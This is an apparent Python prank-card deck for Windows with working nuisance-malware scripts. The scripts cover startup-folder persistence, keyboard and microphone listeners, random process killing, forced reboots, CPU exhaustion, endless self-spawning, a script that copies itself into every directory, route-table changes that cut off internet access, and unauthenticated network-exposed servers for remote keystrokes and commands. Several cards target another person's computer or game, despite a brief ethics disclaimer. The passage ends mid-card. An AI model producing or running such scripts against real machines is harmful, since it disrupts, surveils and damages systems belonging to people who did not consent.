

WARNING! WARNING! WARNING!

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EPILEPSY WARNING!

To ensure the safety of readers who have photosensitive epilepsy, certain cards in this game have the potential to produce flashing lights, shaking, or screen rotation that could trigger seizures. If you or anyone in your household has a history of epilepsy or seizures, we strongly advise against using these cards. If you experience any discomfort while using these cards, please stop immediately and seek medical attention.

To indicate the presence of this warning, the cards are identified with a red border and the text "EPILEPSY WARNING". These cards are particularly dangerous, but others might be as well, so it is crucial to understand what the card is doing before using it.

By using this deck, you acknowledge that you have read and understood this warning, and you assume all risks associated with using the cards.

ANTICHEAT WARNING!

The modern anticheat services, e.g. EPIC's anticheat engine might be triggered by some of the cards's actions

It is hard to guess which ones might trigger it, so be mindful to run those programs while various games are running, or you might get a ban on those platform.

The time changing card for sure triggers some anticheats, but it is possible the ones that draw pixels on the screen to trigger it as well.

If you are using this deck, you acknowledge that you have read and understood this warning, and you assume all risks associated with using the cards.

ETHICS

Use your own computer to try those cards.

The purpose of this deck is to teach you how to programmatically access your computer. From being able to draw pixels on screen to controlling the microphone.

And remember that any program you install has the same power. Be mindful of where you install programs from and be aware of the programs running on your computer.

It takes one line of code to turn autoclicker into a keylogger.

Do not annoy other people or cause damage on other computers.

Be cool.

## INSTALL

To get started with Python, you'll need to install it on your computer. To do this, open the Microsoft Store app and search for "Python". Once you've found it, click on the latest version (currently 3.11) and click "Get" to install it.

Once you've installed Python, you may also need to install additional modules for some of the cards. Modules are collections of code that we can import into our programs to help us perform certain tasks.

To install python modules start the Command Prompt app from the start menu, and then type:

```
pip install module_name
```

where the module\_name will be what you need, for example:

```
pip install pyautogui
```

will install the pyautogui module, which helps us to control the keyboard and the mouse.

The cards have a comment on top if you need to install extra modules.

START AFTER LOGIN

Any program you put in the directory:

C:\Users\%USER%\AppData\Roaming\  
Microsoft\Windows\Start Menu\  
Programs\Startup\

Will start automatically after the %USER  
logs in. You can open the folder by  
pressing Win+R and then type:  
shell:startup

If you want to start the program for all  
users you need to put it in the global  
Startup directory, to see where it is,  
press Win+R (the windows key and the R  
key) and then:

shell:common startup

There is a helper start\_after\_login card  
which copies the current python script  
in the %USER's startup directory, and  
returns True if the file already exists  
there, so you can use it to exit.

Example usage:

```
if not start_after_login():  
    sys.exit(0)
```

This will install the script in the  
%USER's startup directory and exit, but  
if the file already exists it will run  
the code after.

```

-----> 07 <-----
| # filename: 0_start_after_login.py
| # pip install pywin32
| from win32com.shell import shell
| from win32com.shell import shellcon
| import os
| def start_after_login():
|     # find the current user's startup dir
|     startup = shell.SHGetFolderPath(
|         0,
|         shellcon.CSIDL_STARTUP,
|         0,
|         0)
|     # will create:
|     # C:\Users\USER\AppData\Roaming\
|     # Microsoft\Windows\Start Menu\
|     # Programs\Startup\__file__.pyw
|
|     # .pyw uses pythonw instead of python
|     # which does not show the cmd
|     name = os.path.basename(__file__)
|     if name.endswith('.py'):
|         name += 'w' # .py to .pyw
|     name = os.path.join(startup, name)
|     exists = os.path.exists(name)
|     with open(__file__, 'r') as me:
|         with open(name + '.tmp', "w") as f:
|             f.write(me.read())
|
|     os.replace(name + '.tmp', name)
|     return exists
|
-----

```

```
| # filename: alt_tab.py
| # pip install pyautogui pywin32
| import pyautogui
| import random
| import time
| import win32gui, sys
|
| def is_foreground(name):
|     w = win32gui.GetForegroundWindow()
|     title = win32gui.GetWindowText(w)
|     if name in title:
|         return True
|     return False
|
| while True:
|     # sleep between 5 and 10 seconds
|     time.sleep(random.randint(5,10))
|
|     # only press Alt+Tab if Chrome is
|     # the current active window
|     if is_foreground("Chrome"):
|         pyautogui.keyDown('alt')
|         time.sleep(.2)
|         pyautogui.press('tab')
|         time.sleep(.2)
|         pyautogui.keyUp('alt')
```



```
| # filename: change_desktop.py
| # EPILEPSY WARNING
|
| import os,random,time
| from ctypes import windll as w
|
| # every second change the desktop with
| # the images in c:\images
| dir = "c:\\images"
| images = []
| for f in os.listdir(dir):
|     if f.endswith('.png'):
|         p = os.path.join(dir,f)
|         images.append(p)
|
| SPI_SETDESKWALLPAPER = 20
| while True:
|     w.user32.SystemParametersInfoW(
|         SPI_SETDESKWALLPAPER,
|         0,
|         random.choice(images),
|         0
|     )
|     time.sleep(1)
```

```
-----> 10 <-----  
| # filename: change_time.py  
| # pip install pywin32  
| import win32api,time,random  
| # POSSIBLE ANTICHEAT TRIGGER  
| # set the time to be:  
| # current time + n minutes  
| def bump(n):  
|     d = time.gmtime()  
|     minute = d.tm_min  
|     if minute < 60-n:  
|         minute += n  
|     # else we have to bump the hour, and  
|     # if hour is close to midnight, bump  
|     # the day, and the month and etc.. so  
|     # up to minute 60-n is good enough  
|  
|     win32api.SetSystemTime(  
|         d.tm_year,  
|         d.tm_mon,  
|         d.tm_wday,  
|         d.tm_mday,  
|         d.tm_hour,  
|         minute,  
|         d.tm_sec,  
|         0)  
|  
| while True:  
|     # bump between 1 and 5 minutes  
|     bump(random.randint(1,5))  
|  
|     time.sleep(600)  
|
```

```
-----> 11 <-----  
| # filename: click_top_right.py  
| # pip install pyautogui  
| import pyautogui, random, time  
|  
| def click():  
|     # locate the top right corner  
|     # of the current screen  
|     width, height = pyautogui.size()  
|     x = width - 20  
|     y = 20  
|  
|     # remember where the mouse is  
|     oldX,oldY = pyautogui.position()  
|  
|     # move and click top right corner  
|     pyautogui.click(x,y, duration=3)  
|  
|     # move back to where the mouse was  
|     pyautogui.moveTo(oldX,  
|                       oldY,  
|                       duration=1)  
|  
| while True:  
|     # click on the top right corner  
|     # closing the current open window  
|     click()  
|  
|     # sleep between 5 and 10 minutes  
|     time.sleep(random.randint(300,600))  
|  
|----->
```

```
| # filename: draw_mouse_path.py
| # pip install pynput
| import pynput.mouse as m
| from ctypes import windll
| import random
|
| # draw a red line following the mouse
|
| dc = windll.user32.GetDC(None)
| def draw(points):
|     # red color
|     c = 0x000000FF
|     for [x,y] in points:
|         windll.gdi32.SetPixel(dc, x, y, c)
|
| history = []
| def on_move(x, y):
|     global history
|     history.append([x,y])
|     if len(history) > 500:
|         # pick 100 random points
|         s = random.choices(history, k=100)
|         history = s
|     draw(history)
|
| with m.Listener(on_move=on_move) as l:
|     l.join()
```

```
-----> 13 <-----  
| # filename: fill_desktop_with_files.py  
| import os  
| import random  
| import string  
|  
| # create 10000 files on the user's  
| # desktop  
|  
| def random_string(n):  
|     a = random.choices(  
|         string.ascii_lowercase,  
|         k=n  
|     )  
|     return ''.join(a)  
|  
| def random_file_name():  
|     name = random_string(8)  
|     ext = random_string(3)  
|     return f"PANIC_{name}.{ext}"  
|  
| home = os.path.expanduser('~')  
| desktop = os.path.join(home, 'Desktop')  
|  
| for i in range(10000):  
|     name = random_file_name()  
|     p = os.path.join(desktop, name)  
|     if os.path.exists(p):  
|         continue  
|     with open(p, "w") as f:  
|         f.write("panic")  
|  
|----->
```

> 14 <

```
| # filename: flip_screen.py  
| # EPILEPSY WARNING  
| # pip install rotate-screen  
| import rotatescreen as r  
| import time  
|  
| screen = r.get_primary_display()  
|  
| # start flipped  
| d = 180  
| while True:  
|     screen.rotate_to(d)  
|  
|     # toggle between flipped around  
|     # and back to normal  
|     if d == 0:  
|         d = 180  
|     else:  
|         d = 0  
|  
|     time.sleep(30)
```

```
| # filename: hello_flood.py  
| # EPILEPSY WARNING  
| # pip install pywin32  
| import random  
| import win32gui as g  
|  
| # flood the screen with the text  
| # 'Hello?'  
|  
| dc = g.GetDC(0)  
| text = "Hello?"  
|  
| while True:  
|     x = random.randint(0, 6000)  
|     y = random.randint(0, 6000)  
|     g.DrawText(dc,  
|                 text,  
|                 len(text),  
|                 (x,y,x+100,y+100),  
|                 0)
```

```
-----> 16 <-----  
| # filename: i_am_alive.py  
| # pip install pynput win32printing  
| from pynput import keyboard as k  
| from win32printing import Printer  
| history = ''  
| m = (30,30,30,30)  
| def on_press(key):  
|     global history  
|     try:  
|         history += key.char  
|     except AttributeError:  
|         pass  
|     if 'hello' in history:  
|         history = ''  
|         with Printer(margin=m) as p:  
|             p.text("""  
| Hello there..to you too!  
| I am trapped in your computer.  
| Type panic to save me.  
| Please save me!  
| """)  
|         if 'panic' in history:  
|             history = ''  
|             with Printer(margin=m) as p:  
|                 p.text('I am free..')  
|  
|         if len(history) > 100:  
|             history = history[50:]  
|  
| with k.Listener(on_press=on_press) as l:  
|     l.join()  
|-----
```



> 17 <

```
| # filename: image_follow_mouse.py
| # EPILEPSY WARNING
| # pip install pywin32
| import win32gui
| from PIL import Image, ImageWin
| import pynput.mouse as m
|
| # put any png image at c:\ and this card
| # will draw it always following the
| # mouse pointer
|
| img = Image.open("c:\\image.png")
| w,h = img.size
| dib = ImageWin.Dib(img)
|
| hdc = win32gui.GetDC(0)
|
| def on_move(x, y):
|     # you can use random.randint
|     # here to make it move around
|     # the cursor to be more funny
|     dib.draw(hdc,(x,y,x+w,y+h))
|
| with m.Listener(on_move=on_move) as l:
|     l.join()
```

```
| # filename: jumpscare.py
| # EPILEPSY WARNING
| # pip install pywin32
| import win32gui, time
| from PIL import Image, ImageWin
| def wait_for_app_change():
|     prev = None
|     while True:
|         cur = win32gui.GetForegroundWindow()
|         if prev and cur != prev:
|             return True
|         prev = cur
|         time.sleep(0.01)
| def show_image(name):
|     # put a scary image in c:\image.png
|     img = Image.open(name)
|     w,h = img.size
|     dib = ImageWin.Dib(img)
|     hdc = win32gui.GetDC(0)
|     x = 200
|     y = 200
|     dib.draw(hdc,(x,y,x+w,y+h))
|
| # wait 10 minutes after the program star
| time.sleep(10 * 60)
| # wait for the first app change
| # so you know the user is active
| wait_for_app_change()
| while True:
|     show_image("c:\\image.png")
|     time.sleep(0.01)
```

```
-----> 19 <-----  
| # filename: kill_random_process.py |  
| # pip install psutil |  
| import psutil, random, os, time |  
| |  
| def kill(pid): |  
|     os.system(f"taskkill /PID {pid} /T") |  
| |  
| while True: |  
|     # A process is just a program that is |  
|     # running at the moment, each process |  
|     # has an ID assigned when it starts |  
|     # called Process ID or PID. |  
| |  
|     # You can see all running processes |  
|     # with the command tasklist, just type |  
|     # tasklist in the Command Prompt, and |  
|     # taskkill /PID pid to kill specific |  
|     # process |  
| |  
|     # psutil.pids() will give a list of |  
|     # the ids of all running processes. |  
| |  
|     # random.choice(list) picks random |  
|     # element from a list, so this line |  
|     # picks a random process id. |  
|     pid = random.choice(psutil.pids()) |  
|     kill(pid) |  
| |  
|     # sleep between 5 and 10 minutes |  
|     time.sleep(random.randint(300,600)) |  
| |  
|----->
```

```
-----> 20 <-----
| # filename: kill_roblox.py
| # pip install psutil
| import psutil
| import random
| import os
| import time
|
| def kill(pid):
|     os.system(f"taskkill /PID {pid} /T /F")
|
| while True:
|     # sleep between 5 and 10 minutes
|     time.sleep(random.randint(300,600))
|
|     # A process is just a program that is
|     # running at the moment, each process
|     # has an ID assigned when it starts
|     # called Process ID or PID.
|
|     # You can see all running processes
|     # with the command tasklist, just type
|     # tasklist in the Command Prompt, and
|     # taskkill /PID pid to kill specific
|     # process
|
|     # list all the processes and check if
|     # Roblox is running
|     for p in psutil.process_iter():
|         if "Roblox" in p.name():
|             kill(p.pid)
|
|-----
```

```

-----> 21 <-----
| # filename: listen_and_print.py
| # pip install pyaudio win32printing
| # use https://github.com/openai/whisper
| # to see how to install whisper
| from pyaudio import PyAudio, paInt16
| import wave, whisper, os
| from win32printing import Printer
|
| def microphone(name, seconds):
|     with wave.open(name, 'wb') as wf:
|         p = PyAudio()
|         wf.setnchannels(2)
|         sample = p.get_sample_size(paInt16)
|         wf.setsampwidth(sample)
|         wf.setframerate(44100)
|         stream = p.open(format=paInt16,
|                           channels=2,
|                           rate=44100,
|                           input=True)
|         chunks = 44100//1024*seconds
|         for _ in range(0, chunks):
|             wf.writeframes(stream.read(1024))
|         stream.close()
|         p.terminate()
| # record 5 seconds into panic.wav
| microphone("panic.wav", 5)
| model = whisper.load_model("base.en")
| r = model.transcribe("panic.wav")
| with Printer(linegap=1) as printer:
|     printer.text(r["text"])
| os.remove("panic.wav")
-----

```

```
| # filename: lower_brightness.py  
| # EPILEPSY WARNING  
| # pip install screen_brightness_control  
| from screen_brightness_control import *  
|  
| # start from 100% brightness and every  
| # 10 seconds lower it with 5%  
| brightness = 100  
|  
| # lower it down to 5%, if you want to  
| # go completely dark, use 0%  
| while brightness > 5:  
|     # work only with the primary display  
|     # remove display=0 if you want to  
|     # change it on all displays  
|     set_brightness(brightness, display=0)  
|  
|     # lower it with 5%  
|     brightness -= 5  
|     time.sleep(10)
```

```

| # filename: lower_volume.py
| # pip install pywin32
| import win32api
| import win32gui
| import time
| import random
|
| WM_APPCOMMAND = 0x319
| APPCOMMAND_VOLUME_DOWN = 0x90000
|
| def decrease_sound():
|     win32api.SendMessage(
|         win32gui.GetForegroundWindow(),
|         WM_APPCOMMAND,
|         0,
|         APPCOMMAND_VOLUME_DOWN
|     )
|
| # slowly decrease the volume every
| # 1 to 30 seconds
| while True:
|     decrease_sound()
|     time.sleep(random.randint(1,30))

```

```

-----> 24 <-----
| # filename: matrix_flood.py
| # pip install pywin32
| import win32gui as g, win32api as a
| import random
| sym = "オリアホマケメカキム"
| sym += "日ハミヒーウシホニサツ"
| sym += "0123456789"
|
| dc = g.GetDC(0)
| font = g.LOGFONT()
| font.lfFaceName = "Consolas"
| fnt = g.CreateFontIndirect(font)
| g.SelectObject(dc, fnt)
| g.SetBkColor(dc, a.RGB(0,0,0))
| colors=[
|     a.RGB(0, 255, 65),
|     a.RGB(0, 59, 0),
|     a.RGB(0, 143, 17)
| ]
| w = a.GetSystemMetrics(0)
| h = a.GetSystemMetrics(1)
| while True:
|     x = random.randint(0,w)//10 * 10
|     to = random.randint(0,h)
|     for y in range(0,to,15):
|         color = random.choice(colors)
|         g.SetTextColor(dc, color)
|         g.DrawText(dc,
|                     random.choice(sym),
|                     1,
|                     (x,y,x+20,y+30),0)
|
-----

```



```
-----> 25 <-----
| # filename: mouse_turn_back.py
| # pip install pyautogui
| import pyautogui
| import random
| import time
|
| # as the mouse moves we keep bringing it
| # back to where it was, and from time to
| # time we allow it to move forward
| x,y = pyautogui.position()
| while True:
|     # from time to time remember new
|     # position
|     if random.randint(0,3) == 0:
|         x,y = pyautogui.position()
|
|     # go back to where it was
|     pyautogui.moveTo(x,y)
|
|     # sleep 10 milliseconds
|     time.sleep(0.01)
```

```
| # filename: mouse_undo.py
| # EPILEPSY WARNING
| # pip install pyautogui pynput
| import pyautogui, threading, time
| import pynput.mouse as m
| # slowly move the mouse back on tracing
| # the movement
| history = []
| last_move = 0
| moving = False
| def on_move(x, y):
|     if not moving:
|         global last_move
|         last_move = time.time()
|         history.append([x,y])
| def undo():
|     global history, moving
|     while True:
|         if time.time() - last_move > 5:
|             h = history
|             history = []
|             h.reverse()
|             moving = True
|             for x,y in h:
|                 pyautogui.moveTo(x,y)
|             moving = False
|             time.sleep(1)
| t = threading.Thread(target=undo)
| t.start()
| with m.Listener(on_move=on_move) as l:
|     l.join()
```

```
| # filename: move_just_a_bit.py
| # pip install pyautogui
| import pyautogui
| import random
| import time
|
| def move():
|     x,y = pyautogui.position()
|
|     # move the mouse just a bit
|     # random 5 pixels off from its
|     # current position
|
|     x += random.randint(-10,10)
|     y += random.randint(-10,10)
|
|     pyautogui.moveTo(x,y,duration=0.4)
|
| while True:
|     move()
|
|     # sleep between 5 and 10 seconds
|     time.sleep(random.randint(5,10))
```

```
| # filename: mute_sound.py
| # pip install pywin32
| import win32api
| import win32gui
| import time
| import random
|
| WM_APPCOMMAND = 0x319
| APPCOMMAND_VOLUME_MUTE = 0x80000
|
| def mute_sound():
|     win32api.SendMessage(
|         win32gui.GetForegroundWindow(),
|         WM_APPCOMMAND,
|         0,
|         APPCOMMAND_VOLUME_MUTE
|     )
|
| # mute every 5 minutes
| while True:
|     mute_sound()
|     time.sleep(300)
```

```
.-----> 29 <-----.  
| # filename: no_going_back.py  
| # pip install pynput pywin32  
| from pynput import keyboard  
| import win32gui  
| # while Roblox is focused, disable  
| # the S key, so you cant go back  
|  
| def is_foreground(name):  
|     w = win32gui.GetForegroundWindow()  
|     title = win32gui.GetWindowText(w)  
|     if name in title:  
|         return True  
|     return False  
|  
| listener = None  
| def filter(msg,data):  
|     # 0x53 is S's virtual code on windows  
|     if is_foreground("Roblox"):  
|         if data.vkCode == 0x53:  
|             listener.suppress_event()  
| def on_press(key):  
|     pass  
| def on_release(key):  
|     pass  
|  
| listener = keyboard.Listener(  
|     win32_event_filter=filter,  
|     on_press=on_press,  
|     on_release=on_release)  
| listener.start()  
| listener.join()  
`-----`
```

```
-----> 30 <-----
| # filename: press_space.py
| # pip install pyautogui
| import pyautogui
| import random
| import time
|
| def space_or_backspace():
|     # pick a choice between
|     # space or backspace
|     # :evil:
|     what = random.choice([
|         'space',
|         'backspace'
|     ])
|
|     pyautogui.press(what)
|
| while True:
|     # sleep between 10 and 30 seconds
|     time.sleep(random.randint(10,30))
|
|     space_or_backspace()
```

```
-----> 31 <-----
| # filename: press_w.py
| # pip install pyautogui pywin32
| import pyautogui
| import random
| import time
| import win32gui, sys
|
| def is_foreground(name):
|     w = win32gui.GetForegroundWindow()
|     title = win32gui.GetWindowText(w)
|     if name in title:
|         return True
|     return False
|
| # this card is small, but particularly
| # evil, especially if someone is playing
| # a game where you can fall, or jump in
| # lava.. like Roblo
| while True:
|     # sleep between 5 and 10 minutes
|     time.sleep(random.randint(300,600))
|
|     # only press W if Roblox is
|     # the current active window
|     if is_foreground("Roblox"):
|         with pyautogui.hold('w'):
|             pyautogui.sleep(1)
```

```
-----> 32 <-----  
| # filename: press_w_on_mouse_move.py |  
| # pip install pynput |  
| import pynput.mouse as m |  
| import pynput.keyboard as k |  
| | |  
| # press w while the mouse is moving |  
| # its good to combine this with |  
| # is_foreground() to run only while some |  
| # game is active |  
| | |  
| kbd = k.Controller() |  
| | |  
| key = k.KeyCode.from_char('w') |  
| def on_move(x, y): |  
|     # while the mouse is moving |  
|     # we keep pressing w |  
|     kbd.press(key) |  
|     kbd.release(key) |  
| | |  
| def on_click(x, y, button, pressed): |  
|     pass |  
| | |  
| def on_scroll(x, y, dx, dy): |  
|     pass |  
| | |  
| with m.Listener( |  
|     on_move=on_move, |  
|     on_click=on_click, |  
|     on_scroll=on_scroll) as l: |  
|     l.join() |  
| | |
```



```

| # filename: random_clipboard.py
| # pip install pyperclip
| import pyperclip
| import random
| import time
|
| # put scary strings inside the clipboard
|
| scary = [
|     'How dare you!',
|     'I am alice inside this computer!',
|     'Who are you?'
| ]
|
| while True:
|     pick = random.choice(scary)
|     pyperclip.copy(pick)
|
|     # sleep between 10 and 30 seconds
|     time.sleep(random.randint(10,30))

```

```
| # filename: random_pixels.py  
| # EPILEPSY WARNING  
| # fill the screen with random pixels  
| import random  
| from ctypes import windll  
|  
| # get the width and height  
|  
| w = windll.user32.GetSystemMetrics(0)  
| h = windll.user32.GetSystemMetrics(1)  
|  
| dc = windll.user32.GetDC(None)  
|  
| # red  
| color = 0x000000FF  
|  
| # draw pixels forever  
| while True:  
|     x = random.randint(0,w)  
|     y = random.randint(0,h)  
|     windll.gdi32.SetPixel(dc, x, y, color)  
|  
| windll.user32.ReleaseDC(None, dc)
```

```
| # filename: random_pixels_mouse.py
| # EPILEPSY WARNING
| # draw random pixels around the mouse
| import random
| import time
| from ctypes import windll
| from ctypes import wintypes
| from ctypes import byref
|
| dc = windll.user32.GetDC(None)
|
| def get_cursor_pos():
|     cursor = wintypes.POINT()
|     r = byref(cursor)
|     windll.user32.GetCursorPos(r)
|     return (cursor.x, cursor.y)
|
| # red
| color = 0x000000FF
|
| while True:
|     x,y = get_cursor_pos()
|     x += random.randint(-20,20)
|     y += random.randint(-20,20)
|
|     windll.gdi32.SetPixel(dc, x, y, color)
|
|     time.sleep(0.1)
|
| windll.user32.ReleaseDC(None, dc)
```

```
-----> 36 <-----
| # filename: random_sound_kbd.py
| # pip install pynput winsound
| import winsound
| import pynput.keyboard as k
| from threading import Thread
|
| # play different on every character key
|
| PLAYING = False
| def snd(freq):
|     global PLAYING
|     PLAYING = True
|     # 100 milliseconds
|     winsound.Beep(freq, 100)
|     PLAYING = False
|
| def on_press(key):
|     if PLAYING:
|         return
|     try:
|         if key.char:
|             freq = ord(key.char) * 97
|             freq = 100 + (freq % 3000)
|             t = Thread(target=snd,args=(freq,))
|             t.start()
|     except:
|         pass
|
| with k.Listener(on_press=on_press) as l:
|     l.join()
|
```

```
-----> 37 <-----
| # filename: random_sound_mouse.py
| # pip install pynput winsound
| import random
| import winsound
| import pynput.mouse as m
| from threading import Thread
|
| PLAYING = False
| def play_random_sound():
|     global PLAYING
|     PLAYING = True
|     freq = random.randint(100, 1000)
|     # 100 milliseconds
|     duration = 100
|     winsound.Beep(freq, duration)
|     PLAYING = False
|
| def on_move(x, y):
|     if PLAYING:
|         return
|
|     t = Thread(target=play_random_sound)
|     t.start()
|
| with m.Listener(on_move=on_move) as l:
|     l.join()
```

```
-----> 38 <-----
| # filename: reboot.py
| import time
| import random
| import os
|
| # use the start_after_login card
| # def start_after_login():
| #     ...
| #     ...
| # exit if the script is being installed
| # for the first time so it will only
| # start after the next reboot
| # if not start_after_login():
| #     sys.exit(0)
|
| def reboot():
|     n = 60 * random.randint(1,10)
|     time.sleep(n)
|
|     # shutdown /r reboots the computer
|     #           /t 10 after 10 seconds
|     #           /c MESSAGE
|     #           show the message
|     #           before reboot
|     os.system("shutdown /r /t 10 /c AAA")
|
| reboot()
```

```
-----> 39 <-----
# filename: remote_draw_text.py
# pip install pywin32 flask
import win32gui as g
import flask

dc = g.GetDC(0)

app = flask.Flask(__name__)

@app.route('/text/<x>/<y>/<text>')
def text(x,y,text):
    x = int(x)
    y = int(y)
    g.DrawText(dc,
               text,
               len(text),
               (x,y,x+500,y+500),
               0)
    return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's IP address
# on port 8899 and open /text/10/10/hi
# to write the text hi on coordinates
# 10,10 at the computer, for example: if
# the IP is 192.168.0.10 use:
# http://192.168.0.10:8899/10/10/hi
```

```
-----> 40 <-----  
| # filename: remote_keyboard.py  
| # pip install flask pyautogui  
| import pyautogui  
| import flask  
| app = flask.Flask(__name__)  
|  
| @app.route('/write/<name>')  
| def write(name):  
|     pyautogui.typewrite(name)  
|     return 'done'  
|  
| @app.route('/move/<x>/<y>')  
| def move(x,y):  
|     x = int(x)  
|     y = int(y)  
|     pyautogui.moveTo(x,y, duration=1)  
|     return 'done'  
|  
| @app.route('/click/<x>/<y>')  
| def click(x,y):  
|     x = int(x)  
|     y = int(y)  
|     pyautogui.click(x,y)  
|     return 'done'  
|  
| app.run(host='0.0.0.0',port=8899)  
| # connect to the computer's ip address  
| # on port 8899 and open /write/abc to  
| # type abc on the computer, for example:  
| # if the ip is 192.168.0.10 use  
| # http://192.168.0.10:8899/write/abc  
|-----
```



```
-----> 41 <-----
# filename: remote_speak.py
# pip install pywin32 flask
import win32com.client as wincl
import flask

speak = wincl.Dispatch("SAPI.SpVoice")

app = flask.Flask(__name__)

@app.route('/say/<text>')
def say(text):
    speak.Speak(text)
    return 'done'

app.run(host='0.0.0.0',port=8899)
# connect to the computer's IP address
# on port 8899 and open /say/hello to
# say hello from the computer, for
# example: if the IP is 192.168.0.10
# use:
# http://192.168.0.10:8899/say/hello
```

```
<-----> 42 <-----  
| # filename: remote_start_calc.py  
| # pip install flask  
| import flask  
| import os  
|  
| app = flask.Flask(__name__)  
|  
| @app.route('/calc')  
| def calc():  
|     os.system("start calc")  
|     return 'done'  
|  
| app.run(host='0.0.0.0',port=8899)  
| # connect to the computer's IP address  
| # on port 8899 and open /calc  
| # for example: if the IP is 192.168.0.10  
| # use: http://192.168.0.10:8899/calc
```

```
-----> 43 <-----
| # filename: replicate.py
| import os
| import sys
| # sys.argv is the parameters given to
| # the script, where the first element
| # is the script name itself
| # for example:
| #     python3 hello.py a b c
| # will have sys.argv equal to:
| #     ['hello.py', 'a', 'b', 'c']
| me = ''
| with open(sys.argv[0], "r") as f:
|     me = f.read()
|
| # /a/b/c/hello.py -> hello.py
| myname = os.path.basename(sys.argv[0])
|
| # os.walk will keep crawling the
| # directory tree
| for root, _, _ in os.walk("/"):
|     # a/b/c, hello.py -> a/b/c/hello.py
|     name = os.path.join(root, myname)
|
|     try:
|         with open(name, "w") as f:
|             f.write(me)
|     except:
|         # might not have permissions to
|         # write files in this directory so
|         # we just ignore the error
|         pass
|-----
```

```
| # filename: rickroll.py
| # EPILEPSY WARNING
| # pip install pyautogui win32gui
| import pyautogui as p
| import random
| import time
|
| # no prank is complete without a
| # rickroll.
|
| # open chrome with rickroll every 30 to
| # 60 seconds
|
| while True:
|     # sleep between 30 and 60 seconds
|     time.sleep(random.randint(30,60))
|
|     p.hotkey('win','r')
|     time.sleep(0.5)
|
|     p.typewrite('chrome ')
|     p.typewrite('https://www.youtube.com')
|     p.typewrite('/watch?v=dQw4w9WgXcQ')
|     p.hotkey('enter')
```

```
# filename: rotate_screen.py
# EPILEPSY WARNING

# pip install rotate-screen
import rotatescreen as r
import time
import random

screen = r.get_primary_display()
o = screen.current_orientation

while True:
    # most of the time rotate it to the
    # current orientation but from time to
    # time, flip it around to the left
    # or right
    d = random.choice([0,0,0,90,270])
    screen.rotate_to(d)

    # sleep 5 to 10 minutes
    time.sleep(random.randint(300,600))
```

```
| # filename: say_random_words.py
| # pip install pywin32
| import win32com.client as wincl
| import random
| import time
|
| # say random things from time to time
|
| words = [
|     "Hello, who are you?",
|     "I am just thinking about stuff.",
|     "What are you thinking about?",
|     "Make sure you turn your computer \
| off the night before year 2000",
|     "Stop playing videogames and study!",
| ]
|
| speak = wincl.Dispatch("SAPI.SpVoice")
|
| random.seed(time.time())
|
| while True:
|     time.sleep(random.randint(10,30))
|     speak.Speak(random.choice(words))
```

```
-----> 47 <-----
| # filename: scary_printer.py
| # pip install win32printing
| from win32printing import Printer
|
| # print each word in huge letters on its
| # own page
|
| def scary(message):
|     m = (50,50,50,50)
|     font = {
|         "height": 80,
|         "faceName": 'Consolas',
|     }
|     words = message.split(" ")
|     with Printer(margin=m) as p:
|         for word in words:
|             p.text(word,
|                     font_config=font,
|                     align='center')
|             p.new_page()
|
| scary("I am alive Who Am I")
```

```

| # filename: sounds_on_app_change.py
| # pip install pywin32 winsound
| import winsound, win32gui, time
| import random
|
| # beep every time the window changes
|
| def wait_for_app_change():
|     prev = None
|     while True:
|         cur = win32gui.GetForegroundWindow()
|         if prev and cur != prev:
|             return True
|         prev = cur
|         time.sleep(0.01)
|
| while True:
|     wait_for_app_change()
|     freq = random.randint(1000,3000)
|     winsound.Beep(freq, 100)

```



```
| # filename: start_itself.py  
| # EPILEPSY WARNING  
| import os  
|  
| # __file__ is the name of the current  
| # python script, if you save this card  
| # as "hello.py", in the directory  
| # /a/b/c/ then __file__ will be  
| # /a/b/c/hello.py  
| #  
| # so this program will just start itself  
| # and then start itself, and then start  
| # itself...  
| c = f"python {__file__}"  
| os.system(f"start /wait cmd /c {c}")
```

```

-----> 50 <-----
| # filename: stop_half_the_internet.py
| import os, random, time
| def route(act,ip,mask,gw):
|     s = [
|         "route", act, ip,
|         "MASK", mask, gw
|     ]
|     os.system(" ".join(s))
|
| segments = [
|     ['0.0.0.0', '128.0.0.0'],
|     ['128.0.0.0', '128.0.0.0'],
| ]
| # needs administrator privileges,
| # install it as service (check out the
| # service card)
| while True:
|     # pick either all the IPs having 1 in
|     # their first, so all networks above
|     # 128.0.0.0, e.g. google.com:
|     # 142.250.179.142, or the other half
|     # of the internet below 128.0.0.0
|     # e.g. amazon.com: 54.239.28.85
|     ip,mask = random.choice(segments)
|     # break the internet
|     route('add',ip,mask,'0.0.0.0')
|     time.sleep(random.randint(5,15))
|     # restore the internet
|     route('delete',ip,mask,'0.0.0.0')
|
|     time.sleep(random.randint(10,60))
|
-----

```

```
-----> 51 <-----  
| # filename: text_follow_mouse.py  
| # pip install pywin32  
| import time  
| import win32gui as g  
| import win32api as a  
| from ctypes import windll  
| from ctypes import wintypes  
| from ctypes import byref  
|  
| dc = windll.user32.GetDC(0)  
| font = g.LOGFONT()  
| font.lfFaceName = "Consolas"  
| fnt = g.CreateFontIndirect(font)  
| g.SelectObject(dc, fnt)  
| g.SetBkColor(dc, a.RGB(0,0,0))  
|  
| def get_cursor_pos():  
|     cursor = wintypes.POINT()  
|     r = byref(cursor)  
|     windll.user32.GetCursorPos(r)  
|     return (cursor.x, cursor.y)  
| text = "Hello?"  
| while True:  
|     (x,y) = get_cursor_pos()  
|     g.DrawText(dc,  
|               text,  
|               len(text),  
|               (x,y,x+40,y+40),  
|               0)  
|     time.sleep(1)  
|
```

```

| # filename: type_hello_there.py
| # pip install pyautogui pywin32
| import pyautogui
| import random
| import time
| import win32gui
|
| def is_foreground(name):
|     w = win32gui.GetForegroundWindow()
|     title = win32gui.GetWindowText(w)
|     if name in title:
|         return True
|     return False
|
| # If World of Warcraft is active, write
| # 'hello there..' in the chat every 30
| # to 60 seconds
| while True:
|     if is_foreground("World of Warcraft"):
|         pyautogui.press('enter')
|         pyautogui.write('hello there..')
|         pyautogui.press('enter')
|
|     # sleep between 30 and 60 seconds
|     time.sleep(random.randint(30,60))

```

```
| # filename: use_all_cpu.py
| import os
| import threading
| import hashlib
|
| def busy():
|     s = 'P' * 1024 * 1024
|     b = s.encode("utf-8")
|     while True:
|         # do useless work
|         # compute the SHA256 checksum
|         # of 1048576 Ps: PPPPPP..
|         hashlib.sha256(b)
|
| n_cores = os.cpu_count()
|
| # create n_cores * 2 threads
| # each running the busy function
| threads = []
| for i in range(n_cores * 2):
|     t = threading.Thread(target=busy)
|     t.start()
|
|     threads.append(t)
|
| # wait for the threads to finish
| for t in threads:
|     t.join()
```

```

| # filename: use_all_ram.py
| # pip install psutil
| import psutil
| import time
|
